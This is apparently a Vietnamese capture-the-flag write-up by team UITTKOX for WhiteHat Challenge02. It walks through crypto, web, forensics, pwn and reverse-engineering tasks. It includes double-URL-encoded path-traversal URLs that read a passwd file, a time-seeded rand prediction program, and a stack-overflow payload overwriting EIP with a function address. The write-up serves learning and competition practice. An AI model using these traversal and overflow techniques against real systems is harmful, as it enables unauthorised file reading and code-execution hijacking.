Writeup WhiteHat Challenge02 - TEAM UITTKOX
Lưu ý: Các challenge yêu cầu submit flag theo định dạng WhiteHat{sha1(flag)}
Các bạn có thể sử dụng công cụ online tại
http://www.sha1-online.com/
Hoặc code script bằng một ngôn ngữ lập trình để sử dụng.
--------------------------------------------------------------------------------------------------------------------------------------------------------------
CRYPTO01:
Bài này ta thấy q và p là 2 số nguyên tố rất gần nhau, dung thuật toán Fermat factor để phân tích số n, thu được p, q.
Từ p, q tính phi(n) và d theo công thức.
Có d ta dễ dàng khôi phục được thông điệp ban đầu.
Ta thu được flag là:
“close_primes_is_bad”
--------------------------------------------------------------------------------------------------------------------------------------------------------------
CRYPTO02:
Bài này khá đơn giản, thuật toán chỉ cơ bản là kết hợp giữa rot và base64. Không biết do cố tình hay cố ý mà charset base64 của tác giả bị thiếu 2 ký tự “/” và “=” nên trong quá trình decrypt có xảy ra một số lỗi.
Các ký tự được đưa vào sẽ được rot một khoảng nào đó từ 0 đến 63. Việc cần làm chỉ là brute từ 0 đến 63 sẽ có 1 trường hợp số đó trùng với key%64.
Thu được flag là
“Caesar with base32 is exciting!”
--------------------------------------------------------------------------------------------------------------------------------------------------------------
WEB01: Đây là một bài Javascript. View soucre -> F12 -> console để chạy js là done
))
ez flag:
WhiteHat{sha1(youaregod~~~~~~~!)}
--------------------------------------------------------------------------------------------------------------------------------------------------------------
WEB02: Bài này khó hơn xíu, nó thuộc loại LFI nhưng phải URL encode payload lại
b1:
http://web02.wargame.whitehat.vn/index.php?type=..%252f..%252f
Xuất hiện đường dẫn lạ: /4HTzx6PGhDD/
tiếp tục đưa nó vào payload thôi:
b2:
http://web02.wargame.whitehat.vn/index.php?type=..%252f..%252f4HTzx6PGhDD/passwd
ez flag:
WhiteHat{sha1(Dot-Dot-Slash)}
--------------------------------------------------------------------------------------------------------------------------------------------------------------
FOR01: Mở file access_log lên ta thấy
IP 192.168.1.1 có rất nhiều request lạ -> 192.168.1.1 là attacker
Tiến hành đếm số request: Thực hiện lệnh:
cat access.log | grep "192.168.1.1 - -" > reqeuest.txt.
Mở file request.txt lên
có tất cả 41326 request
Flag
WhiteHat{sha1(192.168.1.1;41326)}
--------------------------------------------------------------------------------------------------------------------------------------------------------------
FOR02: Dùng wireshark để mở file pcap sử dụng lệnh
tcp.stream eq [number] để filter các gói tin tcp
tcp.stream eq 2
tcp.stream eq 4
Ta thấy xuất hiện file
Flag.zip và nhiều tập tin
Secret.docx, tiến hành extract các tập tin này:
File -> Export Objects -> HTTP
Lưu lại 2 file trên. Muốn ở
Flag.zip phải cần password, ta tìm password trong file
Secret.docx
Tác giả đã dùng chữ màu trắng để giấu pass
Sử dụng password trên giải nén file Flag.zip ta được một file hình goku.jpg
strings goku.jpg | grep flag ta được thứ cần tìm.
Flag:
WhiteHat{sha1(Simple_Network_Forensic)}
--------------------------------------------------------------------------------------------------------------------------------------------------------------
PWN01:
Bài này có 2 cách, mình sẽ trình bày 1 cách theo hướng có lẽ là ý đồ của btc.
Nhìn vào thì thấy ngay bug ở chỗ hàm srand vì nó thực sự không random. Mình sẽ lấy thời gian y hệt của code và random lại là sẽ chắc chắn win.
Đọc code thấy sleep 3 giây rồi tiến hành srand time(0), mình sẽ làm y hệt
code:
Mã:
#include <stdio.h>
#include <time.h>
int main()
{
unsigned int v3,x,j;
sleep(3u);
v3 = time(0);
srand(v3);
for ( j = 0; j <= 2; ++j)
{
x = rand() % 100 + 1;
printf("%d\n",x);
}
}
sau đó:
joker@Kiva:~/Downloads/main/whitehatchallenge02/Pwn001$ gcc pwn.c ; ./a.out | ./guessing
-------- Guessing Game --------
You must guess 3 random number in range 1-100 to win the game!
Let's start...
Round 1: Round 2: Round 3: Congrast! You win the game Flag....
Bài này còn bị một lỗi nữa là Buffer Overflow, đây là một bug khá cơ bản cho người mới bắt đầu tìm hiểu về exploit
Các bạn có thể tham khảo thêm trong:
Nghệ thuật tận dụng lỗi phần mềm - Nguyễn Thành Nam
Hacking The Art of Exploition - Jon Erickson
Sau đây là cách giải thứ 2:
Nếu ở bất cứ round nào bạn nhập một chuỗi đủ dài thì chương trình sẽ gặp lỗi Segmentation fault.
Vậy lỗi này là do đâu , để ý vào bài ta thấy, thay vì scanf 1 số dùng %d như bình thường tác giả lại sử dụng %s và atoi hơn nữa không kiểm tra input , do đó chương trình sẽ bị overflow trên stack
Để giải mấy bài dạng này, các bạn phải tiến hành debug tính offset từ biến bị overflow tới giá trị chương trình ret về là bao nhiêu.
Ở đây offset =16
Payload "A"*16+"B"*4 => EIP= 0x424242424 ("BBBB")
Lúc này để lấy flag ta có thể thay BBBB bằng địa chỉ của nhánh True trong câu lệnh if hoặc địa chỉ của hàm flag
Ở đây tôi trỏ tới hàm flag có địa chỉ 0x080487C5
Ta được flag
--------------------------------------------------------------------------------------------------------------------------------------------------------------
RE01:
Chương trình yêu cầu nhập vào một chuỗi 2 số thập lục phân cách nhau bởi dấu “-“
Nếu 2 số này có tích là 1000000016000000063 thì sẽ in ra flag , không sẽ trả về Invalid key
Để giải bài này ta cần factor số 1000000016000000063. Ở đây tôi sử dụng công cụ online
https://factordb.com/
chuyển 2 số qua hex ta được chuỗi cần nhập 3b9aca07-3b9aca09
Flag
WhiteHat{sha1(Difficulty of factoring a large integer yields good cryptosystems)}
--------------------------------------------------------------------------------------------------------------------------------------------------------------
RE02:
Chương trình này tiến hành tạo một chuỗi bằng một thuật toán
Sau đó so sánh chuỗi mình nhập vào với chuỗi đã tạo
Cách đơn giản nhất để giải bài này là đặt breakpoint đúng vị trí nó so sánh 2 chuỗi, Tìm chuỗi được so sánh trong thanh ghi.
Ở đây tôi đặt breakpoint tại 0x00401695 tiến hành debug chương trình.
Giá trị chuỗi chương trình sử dụng để so sánh có tại địa chỉ 0x0061F6D8 trên stack(như hình) -> Đây chính là chuỗi cần nhập.
Flag
WhiteHat{sha1(1801351-0x123456789)}
--------------------------------------------------------------------------------------------------------------------------------------------------------------
RE03:
Đây là một bài python bytecodes các bạn có thể tìm hiểu thêm tại:
http://unpyc.sourceforge.net/Opcodes.html
https://docs.python.org/2/library/dis.html
Bài này sử dụng thuật toán sàng nguyên tố để tìm các số nguyên tố nhỏ hơn 50
Sau đó lấy các phần tử của một mảng cho trước tại các vị trí nguyên tố này, có biến đổi đôi chút.
Dưới đây là phần mình đã dịch ngược lại, các bạn có thể tham khảo.
Mã:
n = 50
tmp_list = [True]*50
for i in xrange(3,int(pow(n,0.5))+1,2):
if tmp_list[i]:
tmp_list[i*i::2*i]=[False]*(((n-i*i-1)/(2*i))+1)
List = []
for i in xrange(3,50,2):
if tmp_list[i]:
List.append(i)
List = [2] + List
challenge = ['t','w','o','d','u','e','t','_','q','k','j','h','z','u','v','c','l','h','z','e','w','y','h','z','g','c','n','i','o','_','p','b','i','r','d','v','d','y','y','q','o','t','p','e','q','n','r','c','u','q']
flag = raw_input("Give me your flag: ")
flag = flag[-7:] + flag[:-7]
tmp_str = ''
for item in List:
tmp_str += challenge[item]
if flag == tmp_str:
print "Congratulation! Submit your flag"
else:
print "Try your best, the rest will come"
Flag:
WhiteHat{sha1(ez_bytecode_huh)}